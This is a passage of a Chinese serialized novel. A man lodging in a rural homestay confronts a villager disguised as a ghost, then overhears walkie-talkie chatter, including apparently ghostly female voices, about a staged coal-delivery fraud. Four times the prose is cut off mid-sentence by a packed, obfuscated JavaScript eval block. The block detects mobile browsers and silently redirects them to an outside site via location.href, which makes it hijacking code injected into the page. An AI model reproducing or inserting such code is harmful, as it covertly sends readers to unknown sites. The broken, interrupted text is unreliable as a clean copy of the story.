“不能多喝,晚上还有活儿呢。”王村长给外孙子摘着鱼刺,“你晚上一个人好好在家,姥爷出去办点儿事,一会儿就回来啊,谁敲门也别开。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853047|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 孩子点头说好,让姥爷把事情办利索喽,别着急回来。看他那按耐不住内心激动的样子,刘庆东止不住地暗笑。 “姥爷,中午跟你喝酒的表姥爷、毕姥爷咋没来呢?”他那双滴溜圆的小眼睛四处撒么着。 村长王福田头也不抬地回答他,“你表姥爷信佛,过了中午不吃饭。你毕姥爷他不能来了,人家晚上要去干大事呢。他们都不来吃饭。”随即诡诈的一笑划过嘴角。 “姥爷,我一会儿临走时拿个鸡腿行不?带回家给我姥姥吃,家里没饭。”童臻的孩子还惦记着姥姥。 村长摇着头,“不用,你姥串门去了,你舅姥爷一定给她做好吃的。再说,这里不让往外面拿吃的。” “舅姥爷家不一定有鸡腿呀,每回杀鸡炖肉鸡腿都给我了,我姥只吃鸡头,我要带回家让她尝尝。”他从桌子上的纸抽里拽出两张手纸,把盘子里的鸡腿包起来。 这孩子还挺孝顺,幼稚的行为让刘庆东和曹斌会心地笑了。老村长也在欣慰地笑,冲着同桌的人急忙解释。 “我外孙子可仁义了,这随根啊。他家是满族人,姓李,是罕楚氏。听我女婿说过,他们祖上也是汉人,是河北沧州的木匠,在北宋时被金国掠到东北来的。他们老李家可不简单,做过金国的大官,为百姓做过大好事呢。” 曹斌便问是啥好事?老头子抿了一口酒,擦了擦嘴巴骄傲地说:“在宋朝之前,物资匮乏,粮食短缺,人至花甲,体弱多病啦,便成了家里的累赘。民间广泛流传着一种陋葬,人活到六十岁,即花甲之年,就被送到墓地,子女们天天轮流为其送饭并加垒一块墓砖,直至封住墓门,这叫做花甲墓,北宋时叫瓦罐坟。他那位做大官的祖宗不忍心埋掉双亲,偷偷地将老人带到京城,藏在自己的宅子深处,颐养天年。有一天下朝回来,儿子愁眉不展,父亲问他是怎么了。儿子说有一藩属小邦,向皇上进贡一种动物,假如皇上和大臣们都不认识,就要金朝反过来向他们进贡。大家没有一个认识的,因此发愁。老人问是个什么样的动物,儿子便向父亲仔细描述了一番,父亲沉吟良久后告诉他,他爷爷曾经讲过,前朝普风活佛的大弟子见过这东西,应该是只大老鼠,叫做象鼠。儿子说它足有千斤,世上哪里有这么大的老鼠?父亲说八斤半的狸猫能降千斤鼠。我从老家带来的这只猫,足有八斤半了,明天你将它偷偷带到朝上,那物假如惊恐,定是老鼠无疑。第二天早朝,儿子将狸猫藏在袖子里,接近那怪物时,那家伙被吓得浑身哆嗦,由此断定是象鼠,随即小邦使者伏地臣服。事后,皇上问如何识得那物?他祖上将缘由述说一遍。皇上醒悟,立即颁旨,废除活埋老人的陋习。至此,金国疆域的老人们可以尽享天年了。” 刘庆东不住口地赞叹这是份大功德,他也听说花甲墓的事儿,日本也有把老人背上山自生自灭的习俗,还拍了部电影《楢山节考》呢。 14. 去民宿住 吃过晚饭,刘庆东和曹斌给医生要了病号饭,带回房间,看着李玄硬挺着全部吃下去,又按照盒子上的说明服下药,两个人这才放心。应该是药效起了作用,没过多久病人说感觉好多了,不用人陪,自己要早睡静养。来病如山倒,去病如抽丝,也只能慢慢恢复啦。再三叮嘱他有事给隔壁的老师打电话。看朋友一切安顿妥当了,刘庆东这才离开房间下楼去民宿。 在一楼大厅里他看到了新面孔,迎宾员换人了,是个身材颇为敦实的女孩子,模样尚能说得过去,但不及上个班的小红耐看。有一长必有一短,人家也有优点,见到来人点头哈腰,说出的话犹如喝了蜂蜜水。 刘庆东说明情况,要来民宿房间的钥匙,姑娘熟练地陈述注意事项,还主动上前把楼门打开,特意嘱咐他睡觉前把房门锁好,惴惴不安的声音里满是担心忧虑。 “你好,姑娘,怎么称呼?”刘庆东欠欠的问。 “您叫我小文好啦。”对方大大方方地回答他。 “小文姑娘,张强和服务员小红她们走啦?” 迎宾员马上向外面望去,“他们走了有一阵子啦,带着张会计一起走的。” 是呗,吃完晚饭已经半天了,职工早该下班啦。 “大哥,你去民宿啊?”是胖厨娘从身后拍了他一下,见刘庆东回过身来,她颇有些幸灾乐祸地笑着说,“自讨苦吃,有你后悔的。不管是人是鬼,吓一下都不值当。” 她也知道我要去民宿住啊,这传得也太快了,度假村里像有架电讯网,啥事儿也瞒不住。他简要说明对民宿的渴望,早就想睡睡万字炕啦。 “你这是出去呀?给老毕送饭去啊?”他的第一问是出于礼貌的本能反应,第二问是看见了老毕的陶瓷饭缸子,是条件反射。 “是呀,他给我打电话,说是肩胛骨又受风了,让我过去给他拔罐子,随道带点儿饭。”胖女人的表情非常自然,让人感到这是无可挑剔的事儿,朋友之间本应该如此。 从远处快速开来辆中巴车,看车型和颜色是摄制组的,车子刹车相当灵敏,正正好好停在他们的身边。司机小陈打开车门,坐在驾驶座位上打着招呼,“叔啊,餐厅关了吗?” “已经关了吧?”刘庆东不能完全肯定,便以询问的目光望向厨娘。 “都几点啦?早关了!菜盆都刷利索啦。”胖女人理直气壮地提高嗓门问,“到点儿不吃饭?你跑哪儿去啦?” 小伙子感到自己很无辜,“我去医院看病人啦,我师父突发脑溢血住院了。” 刘庆东听他说是师父有病,立马反应是那个拉炉灰的司机,小陈说过他姓佟。 “佟师父有病啦?他住哪家医院啊?”于是马上问。 小伙子不假思索地告之,“是他,病来得太突然,今天上午出的事儿,住在铁煤总院,医生说可能会半身不遂。” 刘庆东留着心眼,拐弯抹角地套出他师父的姓名、年龄和病房的号码。小陈开车去民宿拍戏了,刘庆东与胖厨娘分手,立马返身去到前台,给老法官打电话,待讲明白后这才放心。 夜晚的民宿头号院并不冷清,摄制组带来的各种灯光器材,什么补光灯、聚光灯、这个箱、那个伞、这个板,那个罩,把个后院花园照得灯火通明,时不时的传来打斗之声,人家不光拍浓情蜜意的情感戏,还有刀光剑影的武打场面。 运转员刘庆东虽说已是五十开外的年纪啦,可对新鲜事物尚有极强的好奇心,他从没看过拍电影,有这个机会怎会轻易放过?他也过去凑热闹,未曾想还有偏得,被袁导临场抓去当了演员。 “老哥,救场如救火,你看我这儿急着赶进度,让小陈找来的演员一个个都不合适,不是没气质,就是长相太水啦,根本与剧里的人物风马牛不相及。我突然发现你最合适,越瞅越像下场戏里的木蝉子。” 说自己能演电影,这也太让刘庆东激情澎湃了,自己还有这份潜质?真是万万没想到啊。顿时脑海中“唰唰唰”闪现出演艺巨星的光辉形象,千万粉丝欢呼雀跃的狂热场面,各种荣誉头衔从天而降套在自己的脖子上。这要是一步踏入影视圈,自己也能出人头地,日进斗金啊,过上金屋藏娇、锦衣玉食的奢华生活喽,就是跟那些漂亮的女演员搂搂抱抱也是艳福不浅啊。 一阵凉风吹过后,他有些清醒了,用手冷却一下燥热的脸蛋,自己有何德何能啊?一点儿表演功底都没有,就这半斤八两还当演员呢?有啥气质,有啥长相?平庸之辈其貌不扬,自己心里没数啊? “可我明天上午就走了呀。”想起安排好了的行程,他自己都感到惋惜。 导演并不在意,“来得及,就一场对打戏,顺利的话十分钟就能过。就两句台词,一句是对耶鲁大石说的,‘嘟!小子,你欺负我大金国无人吗?’另一句是你打跑了耶鲁大石后对金兀术说的‘哈哈,我乃活佛普风的大弟子,奉师命来保护你’。” “不行!不行,我哪会演戏呀,你还是找合适的人吧,可别让我把你这电影搞砸啦。” “大哥,我看你最合适了,木蝉子是金蝉子的大师兄,北地报国寺镇国老活佛普风的大徒弟,你这年龄正好对上,而且你没发现吗?你的样貌特别有喜感,有点像《小兵张嘎》里的胖翻译官,让观众一下就能记住,不像以前找的那些人没特色,扔到人堆里,你都别想再挑出来,只能演路人甲路人乙。”女一号真真用手轻轻捏着他的胳膊,一会儿怼一下,一会儿揪一下,这把刘庆东整得心里刺挠的,很是享受。他注意到这女人手指上也镶着钻,在灯光的照射下熠熠生辉。 “我越端详,你越像啊,木蝉子!你就是现实版的木蝉子。老哥,你不会是满族人吧?这头发,这肤色都挺像的。”导演围着刘庆东左看看,右瞧瞧,像在逛骡马市,炫耀自己具有伯乐般的慧眼。 刘庆东对自己的相貌真没有自信,头发蓬乱,一巴掌盖不住的大脸盘,小小的双眼皮眸子,前面还架了付高度数的近视镜,镜片一圈套着一圈,足有啤酒瓶底那么厚,显得脸庞愈加得圆圆大大了。这模样能引起观众的注意?喜感滑稽倒是有一点儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853048|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是台词多些就好了,运转员插科打诨最拿手。 “不是,不是满族,我是纯汉族。”他赶紧正名,而那两个人却持怀疑态度,为了证实自己便冲动地脱掉鞋子,扒去袜子,伸出并不好看的脚丫子,“给你们看看啊,我不是二重甲,还有这小脚趾是分瓣的。” “老哥,你太认真啦!还把鞋脱了,快穿上,哎呀,实诚人啊。不是满族没关系,普风活佛曾经在少林寺学过武功,犯了戒律被赶出去的,后来才来到东北。木蝉子是他的大徒弟,整不好还是汉人呢。”袁导向围拢在身边的演职人员大声吩咐道,“是不是满族没多大关系,造型师,小敏,给这位大哥试妆,看看扮相。” “跟我来吧!”应声的是个年轻人,刘庆东在餐厅见过她,从那尖声尖气的嗓音和扭扭捏捏的做派,第一眼会以为是个女的,可看那鼓起的喉结和粗壮的线条,即刻否定初判,原来是男生女相的假娘们。 只见造型师从箱子里取出一套行头,刘庆东一眼认出是金人的衣裳,他在电视剧里见过,圆圆的皮毛帽子,两侧垂着动物的尾巴,特别长,能及腰间,想必不是真的毛皮,是用大绒仿造的。那原毛袍子跟现代的差不多,还有一双黑色的皮靴子。 “这套就是木蝉子的衣服,穿上试试。嗯,长短还挺合适呢。”造型师让他穿上,前前后后满意地打量着他,然后又打开一个大木箱子,“这是你的兵器,里面是泡沫的,外面镀了一层金属外壳,你不要乱敲啊,一敲就瘪了,出坑回不去啦。” 好大的个呀!刘庆东看是一对大锤,尺寸足有拦车石头墩子那么大个儿,他接过来掂量掂量,飘轻儿!想当年李元霸的锤子也没这么大吧?齐国远用纸糊的锤子也没它像啊,真能唬人啊。 “我教你几个动作,学会了,就跟真事儿似的啦。”于是年轻人做起示范,刘庆东有板有眼地跟着学,“找个地方自己练吧,明天早晨天刚亮时拍你和耶鲁大石的戏,吊威亚。” 哦,原来是明天早晨的戏,还要吊威亚,有空中的镜头喽。刘庆东有些恐高,顿时心里有负担了。 “我想问一问啊,木蝉子是金蝉子、银蝉子的师兄,对吧?这顺序是不是颠倒了呀?不应该是金银铜铁木嘛。”刘庆东对自己的角色还挺上心呢。 “大叔,你还挺有心眼呢。这你就不用管了,编剧就这么编的。”造型师说话的语速非常快,“听袁导说,老活佛在少林寺犯了清规,被赶出来一贫如洗,穷得叮当响,这时收的你,故而给徒弟起名叫木蝉子,后来攀上高枝儿啦,认识了金兀术,收了他的两个儿子,生活富裕了,便取的金、银俩蝉子。” “哦,这我就懂了。小伙子,我上前院练去行不?捎带脚把电热板点上。” 对于他的要求,人家爽快地同意了,刘庆东穿着古装戏服,拎着大锤子回到前院。 刚走到正屋前,就听到后院的扩音器在喊,一个劲儿地招呼着司机小陈。东厢房里的灯瞬间灭了,“噌”地从屋面窜出个人来,快步如飞奔向后院,不用说一定是要找的人喽。 15. 民宿惊魂 刘庆东把电热板通上电,抗一抗潮气。然后出了屋子,站在当院,有模有样地练起锤子的招式。今天不是初一,就是农历的下半旬,此刻黑缎子般的夜空中没有月亮,只能望见像钻石般浩渺的繁星。 “你是鬼不?穿越来的呀?”从院外跑进来个孩子,借着正房里的灯光看清是李健。这孩子还真来啦,一定是趁着姥爷喝醉了,偷偷跑出来的。 “是我,你刘爷爷。”刘庆东停下来喊他过去。 可孩子并没有往院子里走,指着东边的篱笆墙,“哦,刘爷爷呀,你咋穿成这样?那些拍电影的就要走啦,我问过小文姨,她说十分八分的就要回宾馆了。我去墙外埋伏起来,等坏人来了堵住他的去路。” 刘庆东本想叫住孩子,年纪太小危险,可小鬼头太灵份了,一转眼跑没影了。 这时,摄影组踢踢拉拉地从后院出来啦,又抬又扛把器材送进西屋里,他们已经把刘庆东当成了自己人,纷纷与他打着招呼,夸他扮相真好。尤其是真真小姐,又热情地上来抻抻拽拽,弄得刘庆东浑身麻酥酥地像触了电,然后他们几个开着中巴车回宾馆了。 这回院子里真安静了,没有摄影灯的辅光,四周好似被夜幕大肆侵袭啦,突显出星光的璀璨。农村的夜晚是好啊,先不说凉爽的夜风,气温能比沈阳城里低上三四度呢。天空中的污气也少多了,抬头看那墨色的苍穹,酷似一口倒扣的大铁锅,是那么的深邃浩瀚。星星看起来离得如此的近,好像登上三四层楼就能“手可摘星辰”,一挂由东北向西南高悬的银河似条银白色的绸带,绽放出耀眼的光芒,而阻隔在两边的牛郎星与织女星最是明亮。 “先把院门锁喽。”刘庆东把锤子撂在地上,往大门口去关门上锁。他发现安装的是老式暗锁,推上木门一拧旋钮便得了。不是怕坏人闯进来,而是防着听不懂人话的野兽,野猪、野狼和黄皮子之类的动物,就是只大耗子吱吱乱跑也够烦人的了。 刚锁完门往回走,“忽闪,忽闪”正屋的电灯突然灭了两下,最后彻底地偃旗息鼓了,瞬间院子里一片漆黑,完全沦陷在无尽的黑暗里。 是停电了吗?还是线路故障空开跳闸啦?哎呦,我的点子这么背呀,好不容易住一宿还没电了,八成是电热板短路啦,老不用绝缘老化造成的。 他摸黑向屋里走去,没留心电话搁哪儿啦?得向服务台寻求帮助,可那里只有小姑娘,度假村的电工是谁呀?是开三轮车的张强,还是外包的?估计一时半会儿是不会修好的。 四下都是旷野,万赖静寂,连只蟋蟀的空鸣声也没有。猛然有个低低的声音在问,“小刘,就你一个人害怕不?让哥哥陪陪你呀?过几天还去大明不?”随后是一阵的奸笑,笑得很猥琐。 谁呀?听声音年纪不小啦,笑得这么瘆人呢?像孙敬修爷爷在学老妖婆。刘庆东恐慌地撒么着,他咋知道我姓刘,是熟人装的吗?在墙根,在房山头,还是在屋子里,难道是藏在烟囱后面?到底藏在哪里呦?难道真有鬼!他知道我的一切就不出奇了。千年的王八,万年的鬼,管自己叫小刘人家还吃亏呢。 等了几分钟,传来另一个声音,这家伙哑着嗓子,像有人掐着他的喉咙,使出吃奶的劲儿奋力挤出来的,“他得去,吃肉肉嘛。” 哎呀,这咋还知道我常买大明镇的笨猪肉啊?好不容易去趟农村大集,市里买不到的土特产怎能错过呢?一年成猪的确比三四个月出栏的要香。 猥琐的笑声再起,“还是你们年轻人身板好啊,啥都敢造楞,我可不行啦,只有看着的份了。” “老鬼,你还谦虚上了,装什么装啊?你啥肉没吃过?老的嫩的全不放过,作孽呀。”哑嗓子在揭对方的老底。 被揭穿的那位嘿嘿笑着,“黄毛,嫉妒啦?你是有贼心没贼胆那伙的啊。黑哥在不?你知道有啥药治我的病?掉毛,最近刺挠得厉害。”随后是死一般的缄默。 “小刘!我来啦!在你对面呢,惊不惊喜?意不意外?”突然那老鬼喊了起来,似旱地拔葱,冷不丁吓了刘庆东一大跳。 还没等他从奸笑声中平抚好心情,那边一个毛茸茸的怪物张牙舞爪地扑了上来,在夜光中通体蓝色,嘴里发出尖利的怪叫。嚯,一张大白脸吐着猩红的舌头,《聊斋》里的吊死鬼应该是这个模样吧? 说实话,刘庆东是有心理准备的,绝对不信世上会有鬼,一定是人假扮的。可真要面对这恐怖的场面,着实让他心惊胆战,头皮发麻,毛发直立了。 求生欲驱使他往后退却,反之怪物摇头晃腚地一步步逼近,两只利爪恶狠狠地伸在前面抓挠着,嘴里不住地发出狞笑。 “这不完了嘛!早料到这家伙会来,应该准备件称手的家伙事,棒子、菜刀,哪怕是个炉钩子用来防身也好啊。眼下是啥也没有啊。”他心里这个后悔呀。突然看到不远处的那两个大锤子,他如获至宝地窜过去,本能地抓到手里,明知道是骗人的道具,可再没有其他的东西啦。 “啊!”那家伙不由自主地发出一声惊呼,盯着一身古装戏服的刘庆东,呆呆地站在原地不敢上前了。 是被大锤吓住啦!这么大的个头,不知底细的人谁不愕然啊?他反倒向那家伙挥舞起锤子,把造型师教他的那几招悉数演练出来,还为自己装胆,又是叫又是跳。 “鬼!鬼,鬼大爷饶命啊。”那怪物抱着头转身就跑。 这时,几柱手电光扫了过来,照射在正翻墙的怪物身上,刘庆东看清了是绿色的皮毛,证实了自己之前的观点,在昏暗的光线下绿色容易被看成蓝色。就像夜晚里找电动自行车,青桔的被当做哈啰的了。 “别让他跑喽!”不知从哪里冒出来几个人,大呼小叫地喊着。可那家伙实在是身手敏捷,一个健步便越过了东边的篱笆墙,再想绕到那边去追,怕是望尘莫及啦。 “爷爷!快来呀!我抓住坏人啦。”从篱笆墙外传来大健的喊声。 刘庆东一下想起来啦,那里还埋伏着孩子呢。太危险啦!等他打开院门寻声跑过去,来的那伙人已经把怪物按在地上了。 “是祥子!”有人已经扯下那张白色的面具,看清伪装下的真面孔。 这伙人带头的是老村长,他上前怼了坏蛋一杵子,“祥子,你个不是人的东西,这么小的孩子你也下得去手,把我外孙子的鼻子都打出血啦。” 男孩子的双手还紧紧抱住那人的大腿,扯着嗓子喊“爷爷!我抓住他啦。” 王村长气不打一处来,又是狠狠的一杵子,“把孩子的脑袋都打坏了,不管我叫姥爷,叫爷爷啦。” “姥爷,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853049|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鼻子不是他打的,是我嗑在他波棱盖上撞的。”脸上满是血迹的孩子解释着,“我不是喊你,是喊刘爷爷。刘爷爷爷,看!我埋伏有用吧?把坏人抓住啦。”他看到跑来的刘庆东。 “村长,我没打你家孩子,他抱着我不撒手,我就把腿抡了一下。你饶了我吧,村长,翟宏刚调戏我媳妇的事儿你是知道的呀,气得我打了他,他们姐俩托他二叔的关系讹我一大笔钱,我咽不下这口窝囊气。是毕哥给我出的主意,只能使这阴招来吓唬人,让他们的度假村完蛋,我又没做他们那样的伤天害理的事儿呀。”假扮鬼怪的坏蛋讨饶道。 “村长,咋办?”另外几个汉子让王村长拿主意。 老头子挠着头有些为难了,“没想到是你,我还以为是他呢。你和他们的事儿我知道,既然法院已经判了,就不能再有异议,你把人家牙都打掉了,这是毁容,是重罪,你就得认。你说人家做了伤天害理的事儿,你有证据呀?不能瞎说,被人告你个诽谤罪,倒霉的还是你。” “我没冤枉他们,黄矿长,大老黄是怎么死的?矿上的人谁不知道?是让他们害死的,那窗户楞子都掰成啥奶奶样啦?掉了那么大块木头茬儿,跳楼自杀用使那么大劲儿吗?有的没的全往死者身上推,其实他刘老坏也没少贪。蔡亮,你也在矿上开过车,这些事儿不知道啊?” 被问的汉子刚才还狠呆呆地按着祥子的胳膊,这下不由自主地撒开手,“村长,祥子说的没错,我们煤矿就是被这两个畜牲祸害完的,大家都被买断了,鸡毛没落着。这帮狗领导真不是人啊,集体的利益全划拉到自己兜里啦,他们可肥得流油,都成大款啦。” 另一个村民也在求情,“还是把祥子哥放了吧,送去派出所指定出不来了,我表姑就他这么一个儿子,不得急死呀。”原来人家还是亲戚呢。 村长还在挠头,“这可咋整?我也没想抓他,这事儿你们看着办吧。祥子,可有一条啊,往后不许来民宿吓唬人啦,再有一次,新帐老帐咱们一块儿算。” 听出村长话里的意思,两个汉子撒开手,李健也懂事地让开地方,看见生机的汉子“噌”地跳起来。 “站住!”刘庆东喊住他,“这绿裘皮是你的吗?是二民家的吧?想着还给人家。” 祥子“嗯”了一声,像只落荒的兔子撒腿就跑。 他前脚刚走,后脚翟老板带着小文姑娘就赶来了,“人呢?人呢?抓住了吗?” 女人急迫地问:“我给你打电话,你咋不接呢?按你的计划抓到他了吗?” 王村长尴尬地笑着,“没听到。我手机静音了,躲在暗处怕来电话,打草惊蛇。诶,没抓住,让他跑了。没想到不是老毕。” 女人把村长拉到一边,近乎耳语道:“不是你说的吗?是老毕把煤场的事儿捅上去的,怀疑是他装鬼吓唬人,替他们老板逼我们走吗?咋又不是啦?哪是谁呀?这么多人让他跑喽,你不是在糊弄我吧?你咋知道不是老毕,你看清他是谁啦?” 村长又在挠脑袋,不敢去正视女人那犀利的目光,“是我听乡办公室的朋友说的,千真万确,炉灰渣子的事儿是老毕使的坏,也是他给甲方纪委写的匿名信。刚才那家伙正脸没看着,但个头不对,确实不是他。我能保证,这么一吓唬,那小子以后不敢再来了。” 16. 东厢房里的手台 坏人早跑了,想再去追,已然是无济于事啦,大家只好散了。 刘庆东见他们要走,急忙告之院子里还有一个装鬼的,这让心情沮丧的老板娘异常兴奋。大家一窝蜂地涌进院子,交织的光柱像理解主人的心情似的,兴奋地扫过所有的犄角旮旯,照了半天却一无所获,连小猫小狗都不存在。有个小伙子提议不要找啦,八成是刘庆东被吓得出了幻觉。 “杨伟叔,这世上根本没有鬼!刘爷爷是无神论者,他啥也不怕。”小健为刘庆东打抱不平,跺着脚向那位村民抗议着。 “是呗,我还不如个孩子咋地?有啥好怕的?确确实实听到他们在对话。”刘庆东也强调自己没有听错,一共有两个人来捣乱,这一个还是公鸭嗓呢,“哎,你们听!他又出声了。” 确实有人在说话,正是那个哑嗓子,“老鬼,你跑哪儿去啦?这条道不好走,净是坑,慢点开,石头子都颠掉啦。” “哈哈哈,太可笑啦,你说的是他呀!”其中一个汉子放声大笑道,“也是,这黑咕隆咚一句一句的,也挺吓人的。” 刘庆东记得他姓蔡,曾经是矿上的司机。只见这位走进东厢房,在屋里喊大家快来。 几个人来到屋子里,看见老板桌上放着两件设备,刘庆东从未见过,看着像对讲机,正从里面传出猥琐的笑声,“黄毛,这一带解放前可是乱坟岗子啊,小心不要让陌生女人搭车呦,大披肩发遮着脸,这边是后脑勺,一扭脸还是后脑勺。” 那个哑嗓子立刻反驳他,“我怕什么?就算贞子来了,我也不尿她,我给她扎小辫儿。你可要小心点儿,前年你帮着刚总把娘娘坟给平了,人家可是北宋皇后呀,身边的清风烟魂一定不老少。” “别瞎说,我可没上手啊。”从对方的语气中能听得出他的胆怯,“他让我去,我能不去吗?我只是开车拉工具。当时我还在默念呢,全是坏种逼着我来的,可不关我的事儿啊。” “听老毕说坏种在度假村被女鬼打了,是不是娘娘找他算账啊?他都抑郁了,说不想活啦,真是自作孽不可活啊。” 叫老鬼的那位奸笑道:“他有那么脆弱,有吗?不定装着给谁看呢?那可是个狠人,为达目的不择手段。被鬼打?多半是活人假扮的,他干的缺德事太多啦,仇人报复他们呢。哼,他们这一家子人不地道,心狠手辣,不讲良心。运输公司倒闭的遣散费还拖着呢,我看八成是想赖账啊。” 老板娘在旁边听不下去了,被气得拘了暴跳,破口大骂道:“这俩小子是哪个混账王八蛋?背后埋汰人算啥能耐?车豁子没一个好东西。等我知道了是谁,非撕烂他们的嘴。快把手台关喽!别听他们在那儿放屁。” 蔡亮赶忙把开关闭上,劝解着女人不要生气,他们都是无知的人,胡说八道,刚总是好人,没架子讲义气。大家都在劝,劝了半天,才使气哼哼女人不再骂了。 “这院子里咋没电啦?宾馆有电啊,它们是一个变压器带的,不会是电闸被坏人拉了吧?”翟宏霞转而关心起自家民宿了。 老村长自告奋勇去帮忙检查,发现电闸的确是被人拉了,更可恨的是刀闸下口的电缆被剪去了一大段。老板娘讲电气部分归第三方负责,大晚上的没法找人,劝刘庆东不如回宾馆住吧,还猜他是被惊吓到了,还有没有勇气住在这里呀? 这可伤了刘庆东的自尊心,他坚持在这里过夜,明天一早还得参加拍戏呢。 送走了这些人,他重新关门上锁,将两只大锤带进东屋里,这道具金贵,黑灯瞎火的别被碰坏喽,便小心翼翼地放在桌子旁边。他又看到了手台,被刚才那出一闹,更精神了,眼下也不困啊,正好拿它消遣。 他拧开其中一部的开关旋钮,手台发出“喯”的一声响,不一会儿又有人说话了,“黑哥,下午咋没看见你呢?有事儿请假啦?” 随即有个男人回答道:“我家里没事儿,去医院看老佟了。” 询问者显得非常吃惊,表示没听说呀,焦急地问老佟得了啥病,要不要紧? “不好,他媳妇说怕以后要瘫床上啦。”叫做黑哥的伤感地口打唉声,“他是上有老,下有小,媳妇还没工作,一大家子可咋办呢?三子啊,我都替他愁得慌。” “那么严重啊?真够呛,抽空儿我得去看看他。”朋友也跟着叹起气来。 黑哥颇为神秘地说,“三子,今天下午我都在医院里,富海他们也去了,天擦黑的时候刚要走,你猜我看到谁啦?” 这是个难题,调兵山虽然人口流失严重,可还有七八万没走啊,人海茫茫谁知道你遇到谁啦,回答当然是肯定的。 “我要离开时碰见了坏种他二叔啦,拎着大包小裹东西没少买,进去时一口一个老弟喊着,那叫一个亲热。” 三子是连连砸吧舌头,“他去干啥?没听说和老佟有啥交情啊?事出反常必有妖,黄鼠狼给鸡拜年,没安好心。” “这还看不出来吗?一定是冲着那车炉灰渣子去的,想从老佟口里套话,给他侄子翻案呗,那老狐狸是法官,总想知道是谁指使老佟干的。” 三子满不在乎地说,“事儿都过去了,公司早黄了,弄清楚还有啥用?坏种就是被人算计了。那天我去沈阳送煤,还遇到在矿上封签的小戴呢。” “你遇到小戴啦?要吃要喝的那小子?他不就是那天在矿上封签的嘛。”黑哥对这个话题十分敏感。 “就是他,他跟我说,对那天的事儿非常过意不去,没有认真检查车里装的是啥,把个好端端的公司搞黄了,他们安监室找他谈了好几回呢。” 黑子哼了一声,“天天中午要四个菜一个汤,还喝了那么多啤酒,哪还顾得上封签呀?签条司机随便拿。结果被人钻了空子,把没有的事儿做实了。” 刘庆东听得真楚的,屋子里虽没电,可已经充满的手台却有电啊,这还多亏人家司机小陈呢。靠在皮椅背上的他听得入神,又将双腿翘到桌子上,急于想知道事情的真实情况,便按住发射键参与进去,“刚总的公司里到底有没有套号车呀?” “谁呀?你是谁?别跑来听墙根啊,啥都瞎打听。”黑子质问道。 “黑哥,我是老刘,蔡亮的表哥,是新来的。”刘庆东急中生智地编着扒。 三子是个实诚人,他信以为真还帮着解释呢,“哦,今天道上就两伙,你和老鬼、小刘一起吧?黑哥,他们那伙去开原送石子了。老蔡的表哥,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853050|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你打包票,翟宏刚的公司里没有套号车。” “我听说,当年有辆拉煤的车装错了,拉着炉灰渣子进煤场啦?”刘庆东不想失去这次好机会。 等了半天没动静,看来谁也不愿意涉及那件事。 突然有个女声响起,“我告诉你,跟老翟头想的一样,是佟生人受看煤场的指使,拿了人家的好处,事先拉着炉灰去了大隆矿,再拿签条封上,送到煤场故意给人发现。毕金山已经给验签的透过话,说运煤车里有猫腻。” 原来是这样,是老毕买通老佟做的扣儿,那就不需要出矿小票啦。 “不对,不对,不对。”另一个女子吵嚷着,“玥姊姐,是坏种让司机使用套号车干的,他们一个月搞几次,打点好取样班的队长,做得天衣无缝,那一车煤可是两万多呀。可没想到出了内鬼,毕金山为搞垮翟家姐弟,给验签的透了话,说运煤车里有猫腻,结果新来的愣头青抓他个现行。” 另一个不认同,“你说的不对,头一天我在王河里洗澡,灵机一动想出这法子,晚上就给毕金山托梦,第二天他真去这么做了。终于把坏种的公司整垮了,给娘娘出了气。” “不对,不对,不对,那天我在神龟亭上乘凉,发现坏种又不干好事啦,便用通心术,让毕金山去告诉验签的,一下把炉灰拦在煤场的大门口。谁让他做出大逆不道的事儿,胆大包天把娘娘的坟给平了,这下得报应了吧?” “该!”另一个解气地说,“坏种姐弟俩都不是好物,还有那死鬼姐夫,他姐夫已经受尽八殿酷刑,被九殿平等王陆游打入阿鼻地狱受苦啦。” “他们姐弟的报应也快来了,这两个猪狗不如的家伙是罪有应得。娘娘该高兴一回了吧?自从娘娘悬梁殉国后埋在这里,就没见她笑过,总是愁眉不展的。唉!”她的同伴也跟着叹气。 